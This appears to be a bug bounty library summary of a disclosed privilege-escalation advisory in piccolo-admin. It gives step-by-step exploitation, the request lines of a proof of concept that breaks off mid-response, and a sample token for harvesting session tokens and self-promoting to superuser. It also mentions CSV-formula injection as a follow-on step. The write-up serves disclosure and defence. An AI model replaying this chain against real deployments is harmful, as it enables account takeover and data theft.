# piccolo-admin has a privilege escalation issue - admin to superuser via session-token disclosure in GET /api/tables/sessions/.

piccolo-admin's superuser_validators deny-list omits GET, letting any non-superuser admin read plaintext session tokens and replay the superuser's cookie to self-promote.

- Payout: Research
- Severity: high
- Program: piccolo-admin
- Found by: black-shadow-007
- Disclosed: 2026-08-28
- CVE: CVE-2026-55485
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-2gh4-jmwq-rr8w
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-2gh4-jmwq-rr8w
- Tags: area:web domain:web impact:ato impact:data-leak impact:privesc kind:research platform:ghsa sev:high tech:python technique:source-review vuln:access-control vuln:auth-bypass vuln:privilege-escalation vuln:secrets-leak

**Target:** Piccolo Admin REST table endpoints (/api/tables/sessions/, /api/tables/piccolo_user/)
**Root cause:** superuser_validators gates the user/session tables with a method deny-list (PUT/PATCH/DELETE/POST) that omits GET, and SessionsBase.token is a plain Varchar without secret=True so exclude_secrets does not strip it from responses.
**Steps:**
1. Log in as non-superuser admin (admin=True, superuser=False) and confirm SUPERUSER is false.
2. Send `PATCH /api/tables/piccolo_user/2/` with body `{"superuser": true}` and CSRF header; server returns `405 {"detail":"Only superusers can perform these actions."}`.
3. Send `GET /api/tables/sessions/` as the same user; response 200 lists every active session token in plaintext, e.g. `{"rows":[{"token":"jeb1d-IXIC0BWTOV6G-ApTksrbvdBDkZV9KN4taN2nE","user_id":1,...}]}`.
4. Pick the token whose user_id is the superuser and replay the step-2 PATCH with `Cookie: id=<stolen token>`; response 200 with `"superuser": true`.
5. Log in fresh as the original user; superuser flag persists on their own row.
**How found:** Reporter read superuser_validators and noticed the method check was a deny-list missing GET, then checked SessionsBase.token and found it lacked secret=True so exclude_secrets=True would not strip it; combined the two to build the chain on the documented Sessions-table admin configuration.
**Exploitation:** Any non-superuser admin issues one GET to /api/tables/sessions/ to harvest all live plaintext session tokens, selects the superuser's token, and replays it as the `id` cookie to perform a PATCH setting superuser=true on their own user row, achieving permanent self-promotion without further use of the stolen cookie.
**Escalation:** Admin-to-superuser escalation grants full read/write/delete on all exposed tables, session revocation of other admins, password changes for any user, bulk CSV export, and planting CSV-formula injection payloads for higher-trust operators.
**Insight:** When an authorization helper filters by HTTP method, check whether it is a deny-list: the read verb is the classic omission, and any table it guards may leak credential material. Also verify ORM 'secret' flags on token columns, since secret-exclusion defaults only work if the field is marked.

## Proof of concept (copied exactly from the original report)

**GET sessions leaks all plaintext tokens**

```
GET /api/tables/sessions/ HTTP/1.1
   Host: target:8001
   Cookie: id=<john's session>; csrftoken=<token>

   Response: `200 OK` containing every active session in plaintext, e.g.

   {"rows":[
     {"token":"jeb1d-IXIC0BWTOV6G-ApTksrbvdBDkZV9KN4taN2nE","user_id":1, ...},
     {"token":"...","user_id":2, ...},
     ...
   ]}
```

**Baseline PATCH blocked with 405**

```
PATCH /api/tables/piccolo_user/2/ HTTP/1.1
   Host: target:8001
   Content-Type: application/json
   Cookie: id=<john's session>; csrftoken=<token>
   X-CSRFToken: <token>

   {"superuser": true}

   The server returns:
```

